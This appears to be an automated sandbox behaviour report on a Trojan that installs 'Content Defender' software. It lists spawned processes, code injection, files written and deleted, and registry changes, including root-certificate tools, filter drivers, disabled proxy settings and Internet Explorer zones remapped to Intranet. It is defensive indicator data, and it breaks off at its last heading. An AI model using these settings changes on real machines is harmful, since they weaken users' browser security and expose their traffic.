Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

condefsetup (19).exe:832
ASIns.exe:1308
verclsid.exe:888
cd.exe:2008
cd.exe:1296

The Trojan injects its code into the following process(es):

%original file name%.exe:928

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process condefsetup (19).exe:832 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\mozcrt19.dll (7581 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nfregdrv.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\condefclean.exe (7716 bytes)
%Program Files%\Content Defender\nfregdrv.exe (601 bytes)
%Program Files%\Content Defender\nss\smime3.dll (601 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\certutil.exe (6324 bytes)
%Program Files%\Content Defender\ssleay32.dll (2105 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\smime3.dll (7716 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_i386.sys (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\softokn3.dll (4061 bytes)
%Program Files%\Content Defender\ContentDefenderPS.dll (13 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\certutil.exe (6324 bytes)
%Program Files%\Content Defender\libeay32.dll (9098 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nspr4.dll (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderControl.exe (10588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\import_root_cert.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Program Files%\Content Defender\nss\plds4.dll (17 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_amd64.sys (58 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_i386.sys (3516 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\cd.exe (6341 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plds4.dll (17 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\condefclean.exe (7716 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\import_root_cert.exe (6724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\import_root_cert.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plds4.dll (17 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ssleay32.dll (4061 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\ContentDefender.zip (37274 bytes)
%Program Files%\Content Defender\nss\softokn3.dll (2105 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plds4.dll (580 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\softokn3.dll (25100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__amd64.sys (61 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\softokn3.dll (25100 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderPS.dll (6116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plc4.dll (20 bytes)
%System%\drivers\condef.sys (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\condefclean.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\condefclean.exe (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss (4 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__i386.sys (4012 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\smime3.dll (7716 bytes)
%Program Files%\Content Defender\nss\mozcrt19.dll (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderPS.dll (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\libeay32.dll (86270 bytes)
%Program Files%\Content Defender\nss\nspr4.dll (673 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\libeay32.dll (11493 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderControl.exe (8836 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderControl.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_amd64.sys (4012 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nspr4.dll (11620 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderPS.dll (484 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nfregdrv.exe (9476 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nspr4.dll (11620 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plc4.dll (20 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_amd64.sys (4356 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nfregdrv.exe (9196 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\import_root_cert.exe (6724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\mozcrt19.dll (7581 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderControl.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nss3.dll (24908 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\certutil.exe (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\cd.exe (41084 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_i386.sys (48 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ssleay32.dll (26028 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nss3.dll (4061 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\smime3.dll (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plc4.dll (580 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\mozcrt19.dll (48748 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32 (4 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\cd.exe (34724 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__amd64.sys (4356 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\softokn3.dll (4061 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\certutil.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__i386.sys (56 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64 (4 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\libeay32.dll (156321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\libeay32.dll (20400 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plds4.dll (580 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ssleay32.dll (32684 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\mozcrt19.dll (48748 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ssleay32.dll (4861 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\smime3.dll (941 bytes)
%Program Files%\Content Defender\nss\certutil.exe (601 bytes)
%Program Files%\Content Defender\nss\plc4.dll (20 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nss3.dll (24908 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderPS.dll (13 bytes)
%Program Files%\Content Defender\ConDefSetup.exe (41656 bytes)
%Program Files%\Content Defender\condefclean.exe (601 bytes)
%Program Files%\Content Defender\import_root_cert.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\cd.exe (5381 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Content Defender\Settings.lnk (804 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_amd64.sys (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nspr4.dll (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nss3.dll (4061 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plc4.dll (580 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nfregdrv.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_i386.sys (3516 bytes)
%Program Files%\Content Defender\nss\nss3.dll (2105 bytes)
%Program Files%\Content Defender\ContentDefenderControl.exe (673 bytes)
%Program Files%\Content Defender\cd.exe (3073 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plds4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nfregdrv.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64 (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderPS.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ssleay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\condefclean.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nss3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nfregdrv.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\ContentDefender.zip (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\certutil.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\mozcrt19.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\smime3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plds4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\softokn3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_amd64.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\certutil.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderControl.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\import_root_cert.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\softokn3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderPS.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nss3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nspr4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\cd.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ssleay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\smime3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\condefclean.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__i386.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_i386.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nspr4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plc4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\libeay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\mozcrt19.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plc4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32 (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__amd64.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_i386.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\118[1] (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderControl.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\libeay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\cd.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\import_root_cert.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_amd64.sys (0 bytes)

The process ASIns.exe:1308 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf5.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse4.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp (19809 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process %original file name%.exe:928 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\E1845D56-14DB-4B2A-A5F0-ECB5172B0CDF\condefsetup (19).exe (39950 bytes)
C:\libeay32.dll (6341 bytes)
C:\ssleay32.dll (1821 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5ADA6C69-ADAD-4CA0-85A0-95093894E0BC\ASIns.exe (1794 bytes)

The process cd.exe:1296 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Content Defender\cert\SSL\ContentDefender 2.cer (774 bytes)
%Program Files%\Content Defender\cert\SSL\cert.db (2 bytes)

Registry activity

The process condefsetup (19).exe:832 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"EstimatedSize" = "6000"
"Publisher" = "Artex Management S. A."

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"InstallDate" = "20141219"

"DisplayVersion" = "1.80"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
"MRUListEx" = "00 00 00 00 01 00 00 00 03 00 00 00 02 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\ContentDefender]
"CampaignID" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\condef]
"Tag" = "8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"DisplayIcon" = "%Program Files%\Content Defender\ConDefSetup.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"DisplayName" = "Content Defender"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU\0]
"MRUListEx" = "02 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\ContentDefender]
"SourceId" = "106"
"ff" = "yes"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "08 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"UninstallString" = "%Program Files%\Content Defender\ConDefSetup.exe uninst=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
"NodeSlots" = "02 02 02 02 02 02 02 02 02 02 02"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B3 17 A5 83 B3 CD 92 FF C5 C7 02 9B 2C 83 F5 E3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached]
"{E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31} {000214E6-0000-0000-C000-000000000046} 0x401" = "01 00 00 00 7C 6C 9C 7C 6A 1F B8 23 51 3A D1 01"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\ContentDefender]
"SiteID" = "200075929"
"UserId" = "1B080E9B-0479-4BC4-8393-BBCD715DE96E"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ASIns.exe:1308 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\System\CurrentControlSet\Services\NlaSvc]
"pname" = "AS"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "29 13 06 E9 0C C3 8E 56 E8 26 27 8C 16 6C F1 4B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\System\CurrentControlSet\services\NlaSvc\Parameters\Internet\ManualProxies]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process verclsid.exe:888 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 AA A9 7A C8 4D FE A1 73 F2 29 84 4B 4C 42 F9"

The process %original file name%.exe:928 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

